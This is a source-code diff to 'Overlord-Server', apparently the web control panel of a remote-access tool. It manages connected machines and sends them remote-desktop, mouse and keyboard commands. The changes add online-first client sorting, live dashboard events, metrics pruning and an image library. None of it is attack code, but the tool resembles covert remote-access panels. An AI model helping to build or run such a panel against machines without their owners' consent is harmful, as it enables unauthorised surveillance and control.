diff --git a/Overlord-Server/bun.lock b/Overlord-Server/bun.lock index 0f790a0..9afbceb 100644 --- a/Overlord-Server/bun.lock +++ b/Overlord-Server/bun.lock @@ -10,6 +10,7 @@ "flag-icons": "latest", "geoip-lite": "latest", "jose": "^6.1.3", + "sharp": "^0.34.5", "uuid": "^9.0.1", "winston": "^3.11.0", }, @@ -30,6 +31,58 @@ "@dabh/diagnostics": ["@dabh/diagnostics@2.0.8", "", { "dependencies": { "@so-ric/colorspace": "^1.1.6", "enabled": "2.0.x", "kuler": "^2.0.0" } }, "sha512-R4MSXTVnuMzGD7bzHdW2ZhhdPC/igELENcq5IjEverBvq5hn1SXCWcsi6eSsdWP0/Ur+SItRRjAktmdoX/8R/Q=="], + "@emnapi/runtime": ["@emnapi/runtime@1.9.1", "", { "dependencies": { "tslib": "^2.4.0" } }, "sha512-VYi5+ZVLhpgK4hQ0TAjiQiZ6ol0oe4mBx7mVv7IflsiEp0OWoVsp/+f9Vc1hOhE0TtkORVrI1GvzyreqpgWtkA=="], + + "@img/colour": ["@img/colour@1.1.0", "", {}, "sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ=="], + + "@img/sharp-darwin-arm64": ["@img/sharp-darwin-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-arm64": "1.2.4" }, "os": "darwin", "cpu": "arm64" }, "sha512-imtQ3WMJXbMY4fxb/Ndp6HBTNVtWCUI0WdobyheGf5+ad6xX8VIDO8u2xE4qc/fr08CKG/7dDseFtn6M6g/r3w=="], + + "@img/sharp-darwin-x64": ["@img/sharp-darwin-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-darwin-x64": "1.2.4" }, "os": "darwin", "cpu": "x64" }, "sha512-YNEFAF/4KQ/PeW0N+r+aVVsoIY0/qxxikF2SWdp+NRkmMB7y9LBZAVqQ4yhGCm/H3H270OSykqmQMKLBhBJDEw=="], + + "@img/sharp-libvips-darwin-arm64": ["@img/sharp-libvips-darwin-arm64@1.2.4", "", { "os": "darwin", "cpu": "arm64" }, "sha512-zqjjo7RatFfFoP0MkQ51jfuFZBnVE2pRiaydKJ1G/rHZvnsrHAOcQALIi9sA5co5xenQdTugCvtb1cuf78Vf4g=="], + + "@img/sharp-libvips-darwin-x64": ["@img/sharp-libvips-darwin-x64@1.2.4", "", { "os": "darwin", "cpu": "x64" }, "sha512-1IOd5xfVhlGwX+zXv2N93k0yMONvUlANylbJw1eTah8K/Jtpi15KC+WSiaX/nBmbm2HxRM1gZ0nSdjSsrZbGKg=="], + + "@img/sharp-libvips-linux-arm": ["@img/sharp-libvips-linux-arm@1.2.4", "", { "os": "linux", "cpu": "arm" }, "sha512-bFI7xcKFELdiNCVov8e44Ia4u2byA+l3XtsAj+Q8tfCwO6BQ8iDojYdvoPMqsKDkuoOo+X6HZA0s0q11ANMQ8A=="], + + "@img/sharp-libvips-linux-arm64": ["@img/sharp-libvips-linux-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-excjX8DfsIcJ10x1Kzr4RcWe1edC9PquDRRPx3YVCvQv+U5p7Yin2s32ftzikXojb1PIFc/9Mt28/y+iRklkrw=="], + + "@img/sharp-libvips-linux-ppc64": ["@img/sharp-libvips-linux-ppc64@1.2.4", "", { "os": "linux", "cpu": "ppc64" }, "sha512-FMuvGijLDYG6lW+b/UvyilUWu5Ayu+3r2d1S8notiGCIyYU/76eig1UfMmkZ7vwgOrzKzlQbFSuQfgm7GYUPpA=="], + + "@img/sharp-libvips-linux-riscv64": ["@img/sharp-libvips-linux-riscv64@1.2.4", "", { "os": "linux", "cpu": "none" }, "sha512-oVDbcR4zUC0ce82teubSm+x6ETixtKZBh/qbREIOcI3cULzDyb18Sr/Wcyx7NRQeQzOiHTNbZFF1UwPS2scyGA=="], + + "@img/sharp-libvips-linux-s390x": ["@img/sharp-libvips-linux-s390x@1.2.4", "", { "os": "linux", "cpu": "s390x" }, "sha512-qmp9VrzgPgMoGZyPvrQHqk02uyjA0/QrTO26Tqk6l4ZV0MPWIW6LTkqOIov+J1yEu7MbFQaDpwdwJKhbJvuRxQ=="], + + "@img/sharp-libvips-linux-x64": ["@img/sharp-libvips-linux-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-tJxiiLsmHc9Ax1bz3oaOYBURTXGIRDODBqhveVHonrHJ9/+k89qbLl0bcJns+e4t4rvaNBxaEZsFtSfAdquPrw=="], + + "@img/sharp-libvips-linuxmusl-arm64": ["@img/sharp-libvips-linuxmusl-arm64@1.2.4", "", { "os": "linux", "cpu": "arm64" }, "sha512-FVQHuwx1IIuNow9QAbYUzJ+En8KcVm9Lk5+uGUQJHaZmMECZmOlix9HnH7n1TRkXMS0pGxIJokIVB9SuqZGGXw=="], + + "@img/sharp-libvips-linuxmusl-x64": ["@img/sharp-libvips-linuxmusl-x64@1.2.4", "", { "os": "linux", "cpu": "x64" }, "sha512-+LpyBk7L44ZIXwz/VYfglaX/okxezESc6UxDSoyo2Ks6Jxc4Y7sGjpgU9s4PMgqgjj1gZCylTieNamqA1MF7Dg=="], + + "@img/sharp-linux-arm": ["@img/sharp-linux-arm@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm": "1.2.4" }, "os": "linux", "cpu": "arm" }, "sha512-9dLqsvwtg1uuXBGZKsxem9595+ujv0sJ6Vi8wcTANSFpwV/GONat5eCkzQo/1O6zRIkh0m/8+5BjrRr7jDUSZw=="], + + "@img/sharp-linux-arm64": ["@img/sharp-linux-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-bKQzaJRY/bkPOXyKx5EVup7qkaojECG6NLYswgktOZjaXecSAeCWiZwwiFf3/Y+O1HrauiE3FVsGxFg8c24rZg=="], + + "@img/sharp-linux-ppc64": ["@img/sharp-linux-ppc64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-ppc64": "1.2.4" }, "os": "linux", "cpu": "ppc64" }, "sha512-7zznwNaqW6YtsfrGGDA6BRkISKAAE1Jo0QdpNYXNMHu2+0dTrPflTLNkpc8l7MUP5M16ZJcUvysVWWrMefZquA=="], + + "@img/sharp-linux-riscv64": ["@img/sharp-linux-riscv64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-riscv64": "1.2.4" }, "os": "linux", "cpu": "none" }, "sha512-51gJuLPTKa7piYPaVs8GmByo7/U7/7TZOq+cnXJIHZKavIRHAP77e3N2HEl3dgiqdD/w0yUfiJnII77PuDDFdw=="], + + "@img/sharp-linux-s390x": ["@img/sharp-linux-s390x@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-s390x": "1.2.4" }, "os": "linux", "cpu": "s390x" }, "sha512-nQtCk0PdKfho3eC5MrbQoigJ2gd1CgddUMkabUj+rBevs8tZ2cULOx46E7oyX+04WGfABgIwmMC0VqieTiR4jg=="], + + "@img/sharp-linux-x64": ["@img/sharp-linux-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linux-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-MEzd8HPKxVxVenwAa+JRPwEC7QFjoPWuS5NZnBt6B3pu7EG2Ge0id1oLHZpPJdn3OQK+BQDiw9zStiHBTJQQQQ=="], + + "@img/sharp-linuxmusl-arm64": ["@img/sharp-linuxmusl-arm64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-arm64": "1.2.4" }, "os": "linux", "cpu": "arm64" }, "sha512-fprJR6GtRsMt6Kyfq44IsChVZeGN97gTD331weR1ex1c1rypDEABN6Tm2xa1wE6lYb5DdEnk03NZPqA7Id21yg=="], + + "@img/sharp-linuxmusl-x64": ["@img/sharp-linuxmusl-x64@0.34.5", "", { "optionalDependencies": { "@img/sharp-libvips-linuxmusl-x64": "1.2.4" }, "os": "linux", "cpu": "x64" }, "sha512-Jg8wNT1MUzIvhBFxViqrEhWDGzqymo3sV7z7ZsaWbZNDLXRJZoRGrjulp60YYtV4wfY8VIKcWidjojlLcWrd8Q=="], + + "@img/sharp-wasm32": ["@img/sharp-wasm32@0.34.5", "", { "dependencies": { "@emnapi/runtime": "^1.7.0" }, "cpu": "none" }, "sha512-OdWTEiVkY2PHwqkbBI8frFxQQFekHaSSkUIJkwzclWZe64O1X4UlUjqqqLaPbUpMOQk6FBu/HtlGXNblIs0huw=="], + + "@img/sharp-win32-arm64": ["@img/sharp-win32-arm64@0.34.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-WQ3AgWCWYSb2yt+IG8mnC6Jdk9Whs7O0gxphblsLvdhSpSTtmu69ZG1Gkb6NuvxsNACwiPV6cNSZNzt0KPsw7g=="], + + "@img/sharp-win32-ia32": ["@img/sharp-win32-ia32@0.34.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-FV9m/7NmeCmSHDD5j4+4pNI8Cp3aW+JvLoXcTUo0IqyjSfAZJ8dIUmijx1qaJsIiU+Hosw6xM5KijAWRJCSgNg=="], + + "@img/sharp-win32-x64": ["@img/sharp-win32-x64@0.34.5", "", { "os": "win32", "cpu": "x64" }, "sha512-+29YMsqY2/9eFEiW93eqWnuLcWcufowXewwSNIT6UwZdUUCrM3oFjMWH/Z6/TMmb4hlFenmfAVbpWeup2jryCw=="], + "@jridgewell/gen-mapping": ["@jridgewell/gen-mapping@0.3.13", "", { "dependencies": { "@jridgewell/sourcemap-codec": "^1.5.0", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-2kkt/7niJ6MgEPxF0bYdQ6etZaA+fQvDcLKckhy1yIQOzaoKjBBjSj63/aLVjYE3qhRt5dvM+uUyfCg6UKCBbA=="], "@jridgewell/remapping": ["@jridgewell/remapping@2.3.5", "", { "dependencies": { "@jridgewell/gen-mapping": "^0.3.5", "@jridgewell/trace-mapping": "^0.3.24" } }, "sha512-LI9u/+laYG4Ds1TDKSJW2YPrIlcVYOwi2fUC6xB43lueCjgxV4lffOCZCtYFiH6TNOX+tQKXx97T4IKHbhyHEQ=="], @@ -246,6 +299,10 @@ "safer-buffer": ["safer-buffer@2.1.2", "", {}, "sha512-YZo3K82SD7Riyi0E1EQPojLz7kpepnSQI9IyPbHHg1XXXevb5dJI7tpyN2ADxGcQbHG7vcyRHk0cbwqcQriUtg=="], + "semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="], + + "sharp": ["sharp@0.34.5", "", { "dependencies": { "@img/colour": "^1.0.0", "detect-libc": "^2.1.2", "semver": "^7.7.3" }, "optionalDependencies": { "@img/sharp-darwin-arm64": "0.34.5", "@img/sharp-darwin-x64": "0.34.5", "@img/sharp-libvips-darwin-arm64": "1.2.4", "@img/sharp-libvips-darwin-x64": "1.2.4", "@img/sharp-libvips-linux-arm": "1.2.4", "@img/sharp-libvips-linux-arm64": "1.2.4", "@img/sharp-libvips-linux-ppc64": "1.2.4", "@img/sharp-libvips-linux-riscv64": "1.2.4", "@img/sharp-libvips-linux-s390x": "1.2.4", "@img/sharp-libvips-linux-x64": "1.2.4", "@img/sharp-libvips-linuxmusl-arm64": "1.2.4", "@img/sharp-libvips-linuxmusl-x64": "1.2.4", "@img/sharp-linux-arm": "0.34.5", "@img/sharp-linux-arm64": "0.34.5", "@img/sharp-linux-ppc64": "0.34.5", "@img/sharp-linux-riscv64": "0.34.5", "@img/sharp-linux-s390x": "0.34.5", "@img/sharp-linux-x64": "0.34.5", "@img/sharp-linuxmusl-arm64": "0.34.5", "@img/sharp-linuxmusl-x64": "0.34.5", "@img/sharp-wasm32": "0.34.5", "@img/sharp-win32-arm64": "0.34.5", "@img/sharp-win32-ia32": "0.34.5", "@img/sharp-win32-x64": "0.34.5" } }, "sha512-Ou9I5Ft9WNcCbXrU9cMgPBcCK8LiwLqcbywW3t4oDV37n1pzpuNLsYiAV8eODnjbtQlSDwZ2cUEeQz4E54Hltg=="], + "source-map-js": ["source-map-js@1.2.1", "", {}, "sha512-UXWMKhLOwVKb728IUtQPXxfYU+usdybtUrK/8uGE8CQMvrhOpwvzDBwj0QhSL7MQc7vIsISBG8VQ8+IDQxpfQA=="], "sprintf-js": ["sprintf-js@1.1.2", "", {}, "sha512-VE0SOVEHCk7Qc8ulkWw3ntAzXuqf7S2lvwQaDLRnUeIEaKNQJzV6BwmLKhOqT61aGhfUMrXeaBk+oDGCzvhcug=="], @@ -264,6 +321,8 @@ "triple-beam": ["triple-beam@1.4.1", "", {}, "sha512-aZbgViZrg1QNcG+LULa7nhZpJTZSLm/mXnHXnbAbjmN5aSa0y7V+wvv6+4WaBtpISJzThKy+PIPxc1Nq1EJ9mg=="], + "tslib": ["tslib@2.8.1", "", {}, "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w=="], + "typescript": ["typescript@5.9.3", "", { "bin": { "tsc": "bin/tsc", "tsserver": "bin/tsserver" } }, "sha512-jl1vZzPDinLr9eUt3J/t7V6FgNEw9QjvBPdysz9KfQDD41fQrC2Y4vKQdiaUpFT4bXlb1RHhLpp8wtm6M5TgSw=="], "undici-types": ["undici-types@7.18.2", "", {}, "sha512-AsuCzffGHJybSaRrmr5eHr81mwJU3kjw6M+uprWvCXiNeN9SOGwQ3Jn8jb8m3Z6izVgknn1R0FTCEAP2QrLY/w=="], diff --git a/Overlord-Server/package.json b/Overlord-Server/package.json index 2b42460..fc404f5 100644 --- a/Overlord-Server/package.json +++ b/Overlord-Server/package.json @@ -18,6 +18,7 @@ "flag-icons": "latest", "geoip-lite": "latest", "jose": "^6.1.3", + "sharp": "^0.34.5", "uuid": "^9.0.1", "winston": "^3.11.0" }, diff --git a/Overlord-Server/public/assets/data.js b/Overlord-Server/public/assets/data.js index fe82878..5d9b730 100644 --- a/Overlord-Server/public/assets/data.js +++ b/Overlord-Server/public/assets/data.js @@ -10,6 +10,31 @@ let dashboardWs = null; let dashboardWsConnected = false; let wsReconnectTimer = null; +function moveClientCardImmediately(msg) { + const clientId = typeof msg?.clientId === "string" ? msg.clientId : ""; + if (!clientId) return; + const selectorId = + typeof CSS !== "undefined" && typeof CSS.escape === "function" + ? CSS.escape(clientId) + : clientId; + const grid = document.getElementById("grid"); + const card = grid?.querySelector(`article[data-id="${selectorId}"]`); + if (!grid || !card) return; + + if (msg.event === "client_online") { + card.dataset.online = "true"; + card.classList.remove("card-offline"); + grid.prepend(card); + return; + } + + if (msg.event === "client_offline") { + card.dataset.online = "false"; + card.classList.add("card-offline"); + grid.appendChild(card); + } +} + export function registerRenderer(fn) { render = fn; } @@ -129,6 +154,11 @@ function connectDashboardWs() { const msg = typeof event.data === "string" ? JSON.parse(event.data) : null; if (msg && msg.type === "clients_changed") { loadWithOptions({ force: false, reorder: true }); + return; + } + if (msg && msg.type === "client_event") { + moveClientCardImmediately(msg); + loadWithOptions({ force: false, reorder: true }); } } catch {} }; diff --git a/Overlord-Server/public/assets/render.js b/Overlord-Server/public/assets/render.js index 57f7a92..02298b8 100644 --- a/Overlord-Server/public/assets/render.js +++ b/Overlord-Server/public/assets/render.js @@ -33,6 +33,13 @@ export function createRenderer({ const TOUCH_MOVE_CANCEL_PX = 10; let renderToken = 0; + function reorderCards(items) { + items.forEach((client) => { + const card = grid.querySelector(`article[data-id="${client.id}"]`); + if (card) grid.appendChild(card); + }); + } + function renderMerge(data, options = {}) { const { reorder = false } = options; totalPill.textContent = `${data.online ?? data.total} online / ${data.total} total`; @@ -66,10 +73,7 @@ export function createRenderer({ .forEach((el) => el.remove()); if (reorder) { - items.forEach((client) => { - const card = grid.querySelector(`article[data-id="${client.id}"]`); - if (card) grid.appendChild(card); - }); + reorderCards(items); } if (newClients.length === 0) { @@ -101,6 +105,7 @@ export function createRenderer({ requestAnimationFrame(insertBatch); return; } + reorderCards(items); }; insertBatch(); diff --git a/Overlord-Server/src/client-order.test.ts b/Overlord-Server/src/client-order.test.ts new file mode 100644 index 0000000..c5007cf --- /dev/null +++ b/Overlord-Server/src/client-order.test.ts @@ -0,0 +1,113 @@ +import { afterAll, describe, expect, test } from "bun:test"; +import { deleteClientRow, listClients, setClientBookmark, upsertClientRow } from "./db"; + +const createdClientIds: string[] = []; + +function createTempClient(id: string, options: { online: boolean; lastSeen: number; host: string; pingMs?: number; bookmarked?: boolean }) { + upsertClientRow({ + id, + hwid: id, + role: "client", + host: options.host, + os: "windows", + arch: "amd64", + version: "1.0.0", + user: "tester", + country: "US", + lastSeen: options.lastSeen, + online: options.online ? 1 : 0, + pingMs: options.pingMs, + }); + if (options.bookmarked) { + setClientBookmark(id, true); + } + createdClientIds.push(id); +} + +function cleanupCreatedClients() { + while (createdClientIds.length > 0) { + const id = createdClientIds.pop(); + if (id) { + deleteClientRow(id); + } + } +} + +afterAll(() => { + cleanupCreatedClients(); +}); + +describe("client list ordering", () => { + test("default sort keeps online clients above offline clients on the first page", () => { + try { + const prefix = `order-default-${Date.now().toString(36)}`; + const now = Date.now(); + + for (let index = 0; index < 12; index += 1) { + createTempClient(`${prefix}-offline-${index}`, { + online: false, + lastSeen: now - index, + host: `offline-${index}`, + }); + } + + createTempClient(`${prefix}-online`, { + online: true, + lastSeen: now - 60_000, + host: "online-host", + }); + + const result = listClients({ + page: 1, + pageSize: 12, + search: prefix, + sort: "last_seen_desc", + statusFilter: "all", + osFilter: "all", + countryFilter: "all", + enrollmentFilter: "all", + }); + + expect(result.items.length).toBe(12); + expect(result.items[0]?.id).toBe(`${prefix}-online`); + expect(result.items[0]?.online).toBe(true); + } finally { + cleanupCreatedClients(); + } + }); + + test("secondary sort modes still keep online clients above offline clients", () => { + try { + const prefix = `order-host-${Date.now().toString(36)}`; + const now = Date.now(); + + createTempClient(`${prefix}-offline-bookmarked`, { + online: false, + lastSeen: now, + host: "aaa-offline", + bookmarked: true, + }); + createTempClient(`${prefix}-online`, { + online: true, + lastSeen: now - 1_000, + host: "zzz-online", + }); + + const result = listClients({ + page: 1, + pageSize: 12, + search: prefix, + sort: "host_asc", + statusFilter: "all", + osFilter: "all", + countryFilter: "all", + enrollmentFilter: "all", + }); + + expect(result.items[0]?.id).toBe(`${prefix}-online`); + expect(result.items[0]?.online).toBe(true); + } finally { + cleanupCreatedClients(); + } + }); +}); \ No newline at end of file diff --git a/Overlord-Server/src/db.ts b/Overlord-Server/src/db.ts index 44d90cc..bdbfc4a 100644 --- a/Overlord-Server/src/db.ts +++ b/Overlord-Server/src/db.ts @@ -429,24 +429,25 @@ export function listClients(filters: ListFilters): ListResult { const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : ""; const orderBy = (() => { + const online = "online DESC"; const bookmark = "bookmarked DESC"; switch (sort) { case "stable": - return `ORDER BY ${bookmark}, online DESC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, id ASC`; case "ping_asc": - return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms ASC, id ASC`; case "ping_desc": - return `ORDER BY ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, ping_ms IS NULL, ping_ms DESC, id ASC`; case "host_asc": - return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) ASC, id ASC`; case "host_desc": - return `ORDER BY ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(nickname, host)) DESC, id ASC`; case "country_asc": - return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) ASC, id ASC`; case "country_desc": - return `ORDER BY ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, LOWER(COALESCE(country, 'zz')) DESC, id ASC`; default: - return `ORDER BY ${bookmark}, last_seen DESC, id ASC`; + return `ORDER BY ${online}, ${bookmark}, last_seen DESC, id ASC`; } })(); diff --git a/Overlord-Server/src/httpHandlers.ts b/Overlord-Server/src/httpHandlers.ts index f4b6a30..a7a99c4 100644 --- a/Overlord-Server/src/httpHandlers.ts +++ b/Overlord-Server/src/httpHandlers.ts @@ -51,24 +51,24 @@ export function handleCommand(target: ClientInfo, action: string, req: Request) return Response.json({ ok: true }); } if (action === "desktop_start") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start", id: uuidv4() })); + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_start" as any, id: uuidv4() })); return Response.json({ ok: true }); } if (action === "desktop_stop") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop", id: uuidv4() })); + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_stop" as any, id: uuidv4() })); return Response.json({ ok: true }); } if (action === "desktop_select_display") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display", id: uuidv4(), payload: { display: 0 } })); + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_select_display" as any, id: uuidv4(), payload: { display: 0 } })); return Response.json({ ok: true }); } if (action === "desktop_enable_mouse") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse", id: uuidv4(), payload: { enabled: true } })); + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_mouse" as any, id: uuidv4(), payload: { enabled: true } })); return Response.json({ ok: true }); } if (action === "desktop_enable_keyboard") { - target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard", id: uuidv4(), payload: { enabled: true } })); + target.ws.send(encodeMessage({ type: "command", commandType: "desktop_enable_keyboard" as any, id: uuidv4(), payload: { enabled: true } })); return Response.json({ ok: true }); } if (action === "disconnect") { @@ -111,12 +111,11 @@ export function handleCommand(target: ClientInfo, action: string, req: Request) } return new Response("Bad request", { status: 400 }); } -} export function markOffline(id: string) { setOnlineState(id, false); } export function markOnline(info: ClientInfo) { - upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 }); + upsertClientRow({ id: info.id, role: info.role, lastSeen: info.lastSeen, online: 1 as any }); } diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts index 8a82429..36979ca 100644 --- a/Overlord-Server/src/main-server.ts +++ b/Overlord-Server/src/main-server.ts @@ -11,7 +11,7 @@ import { v4 as uuidv4 } from "uuid"; import { authenticateRequest } from "./auth"; import { loadConfig, getConfig } from "./config"; import { flushAuditLogsSync } from "./auditLog"; -import { getUserById, getUsersForNotificationDelivery, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users"; +import { getUserById, getUsersForNotificationDeliveryByClient, canUserAccessClient, setUserClientAccessRule, setUserClientAccessScope, getUserClientAccessScope } from "./users"; import { requireAuth, requirePermission } from "./rbac"; import { metrics } from "./metrics"; import { ensureDataDir } from "./paths"; @@ -233,9 +233,7 @@ const storeNotificationScreenshotForPending = ( ) => storeNotificationScreenshot(notificationHistory, pending, bytes, format, width, height); const deliverNotificationWithScreenshotForRecord = (record: NotificationRecord) => { const getUserDeliveryTargets = (clientId: string): UserDeliveryTarget[] => { - const deliveryUsers = getUsersForNotificationDelivery(); - return deliveryUsers - .filter((u) => canUserAccessClient(u.id, u.role, clientId)) + return getUsersForNotificationDeliveryByClient(clientId) .map((u) => ({ userId: u.id, username: u.username, @@ -473,6 +471,7 @@ async function startServer() { notifyRemoteDesktopStatus, handleBuildTagConnection, notifyDashboard: sessionManager.notifyDashboardViewers, + notifyDashboardClientEvent: sessionManager.notifyDashboardClientEvent, broadcastClientEvent: notificationPluginHandlers.broadcastClientLifecycleEvent, }; diff --git a/Overlord-Server/src/metrics.ts b/Overlord-Server/src/metrics.ts index 19df2f2..4ceea69 100644 --- a/Overlord-Server/src/metrics.ts +++ b/Overlord-Server/src/metrics.ts @@ -108,6 +108,27 @@ class MetricsCollector { private eventLoopDelays: number[] = []; private maxEventLoopHistory: number = 300; + private pruneTimestampWindow(list: number[], minTs: number): void { + let removeCount = 0; + while (removeCount < list.length && list[removeCount] <= minTs) { + removeCount += 1; + } + if (removeCount > 0) { + list.splice(0, removeCount); + } + } + + private countRecent(list: number[], minTs: number): number { + let count = 0; + for (let index = list.length - 1; index >= 0; index -= 1) { + if (list[index] <= minTs) { + break; + } + count += 1; + } + return count; + } + constructor() { setInterval(() => this.updateBandwidthRates(), 1000); @@ -126,15 +147,13 @@ class MetricsCollector { recordCommand(type: string) { this.commandCount++; - this.commandTimestamps.push(Date.now()); + const now = Date.now(); + this.commandTimestamps.push(now); const count = this.commandTypeCount.get(type) || 0; this.commandTypeCount.set(type, count + 1); - const oneHourAgo = Date.now() - 3600000; - this.commandTimestamps = this.commandTimestamps.filter( - (ts) => ts > oneHourAgo, - ); + this.pruneTimestampWindow(this.commandTimestamps, now - 3600000); } recordBytesSent(bytes: number) { @@ -173,9 +192,14 @@ class MetricsCollector { return { min: null, max: null, avg: null, count: 0 }; } - const min = Math.min(...this.pingValues); - const max = Math.max(...this.pingValues); - const sum = this.pingValues.reduce((a, b) => a + b, 0); + let min = Number.POSITIVE_INFINITY; + let max = Number.NEGATIVE_INFINITY; + let sum = 0; + for (const ping of this.pingValues) { + if (ping < min) min = ping; + if (ping > max) max = ping; + sum += ping; + } const avg = sum / this.pingValues.length; return { min, max, avg, count: this.pingValues.length }; @@ -201,8 +225,10 @@ class MetricsCollector { this.httpTotal++; const now = Date.now(); this.httpTimestamps.push(now); + this.pruneTimestampWindow(this.httpTimestamps, now - 60000); if (statusCode >= 400) { this.httpErrorTimestamps.push(now); + this.pruneTimestampWindow(this.httpErrorTimestamps, now - 60000); } if (Number.isFinite(durationMs)) { this.httpLatencies.push(durationMs); @@ -253,25 +279,20 @@ class MetricsCollector { const oneMinuteAgo = now - 60000; const oneHourAgo = now - 3600000; - const commandsLastMinute = this.commandTimestamps.filter( - (ts) => ts > oneMinuteAgo, - ).length; - const commandsLastHour = this.commandTimestamps.filter( - (ts) => ts > oneHourAgo, - ).length; + this.pruneTimestampWindow(this.commandTimestamps, oneHourAgo); + this.pruneTimestampWindow(this.httpTimestamps, oneMinuteAgo); + this.pruneTimestampWindow(this.httpErrorTimestamps, oneMinuteAgo); + + const commandsLastMinute = this.countRecent(this.commandTimestamps, oneMinuteAgo); + const commandsLastHour = this.commandTimestamps.length; const commandsByType: Record = {}; for (const [type, count] of this.commandTypeCount.entries()) { commandsByType[type] = count; } - const oneMinuteAgoForHttp = now - 60000; - const httpLastMinute = this.httpTimestamps.filter( - (ts) => ts > oneMinuteAgoForHttp, - ).length; - const httpErrorsLastMinute = this.httpErrorTimestamps.filter( - (ts) => ts > oneMinuteAgoForHttp, - ).length; + const httpLastMinute = this.httpTimestamps.length; + const httpErrorsLastMinute = this.httpErrorTimestamps.length; const httpLatencySamples = [...this.httpLatencies].sort((a, b) => a - b); const httpLatencyAvg = httpLatencySamples.length diff --git a/Overlord-Server/src/server/routes/client-routes.ts b/Overlord-Server/src/server/routes/client-routes.ts index 798e900..8a9720f 100644 --- a/Overlord-Server/src/server/routes/client-routes.ts +++ b/Overlord-Server/src/server/routes/client-routes.ts @@ -234,7 +234,7 @@ export async function handleClientRoutes( ); metrics.recordCommand("screenshot"); } - const success = generateThumbnail(clientId); + const success = await generateThumbnail(clientId); return Response.json({ ok: true, updated: success }, { headers: deps.CORS_HEADERS }); } diff --git a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts index cde379d..28d3364 100644 --- a/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts +++ b/Overlord-Server/src/server/routes/websocket-lifecycle-routes.ts @@ -86,6 +86,10 @@ type WsLifecycleDeps = { notifyRemoteDesktopStatus: (clientId: string, status: string, reason?: string) => void; handleBuildTagConnection: (clientId: string, buildTag: string) => void; notifyDashboard: () => void; + notifyDashboardClientEvent: ( + event: "client_online" | "client_offline" | "client_purgatory", + info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, + ) => void; broadcastClientEvent: ( event: "client_online" | "client_offline" | "client_purgatory", info: { id: string; host?: string; user?: string; os?: string; ip?: string; country?: string }, @@ -300,6 +304,14 @@ export async function handleWebSocketMessage( logger.info(`[purgatory] client ${resolvedId} is pending approval`); ws.send(encodeMessage({ type: "enrollment_status", status: "pending" })); deps.notifyDashboard(); + deps.notifyDashboardClientEvent("client_purgatory", { + id: resolvedId, + host: (payload as any).host || undefined, + user: (payload as any).user || undefined, + os: (payload as any).os || undefined, + ip: ip || undefined, + country, + }); deps.broadcastClientEvent("client_purgatory", { id: resolvedId, host: (payload as any).host || undefined, @@ -361,7 +373,16 @@ export async function handleWebSocketMessage( clientManager.addClient(infoObj.id, infoObj); deps.dispatchAutoScriptsForConnection(infoObj, ws); - deps.notifyDashboard(); deps.broadcastClientEvent("client_online", { + deps.notifyDashboard(); + deps.notifyDashboardClientEvent("client_online", { + id: infoObj.id, + host: infoObj.host, + user: infoObj.user, + os: infoObj.os, + ip: infoObj.ip, + country: infoObj.country, + }); + deps.broadcastClientEvent("client_online", { id: infoObj.id, host: infoObj.host, user: infoObj.user, @@ -618,14 +639,14 @@ export function handleWebSocketClose( if (role === "file_browser_viewer") { if (sessionId) { - 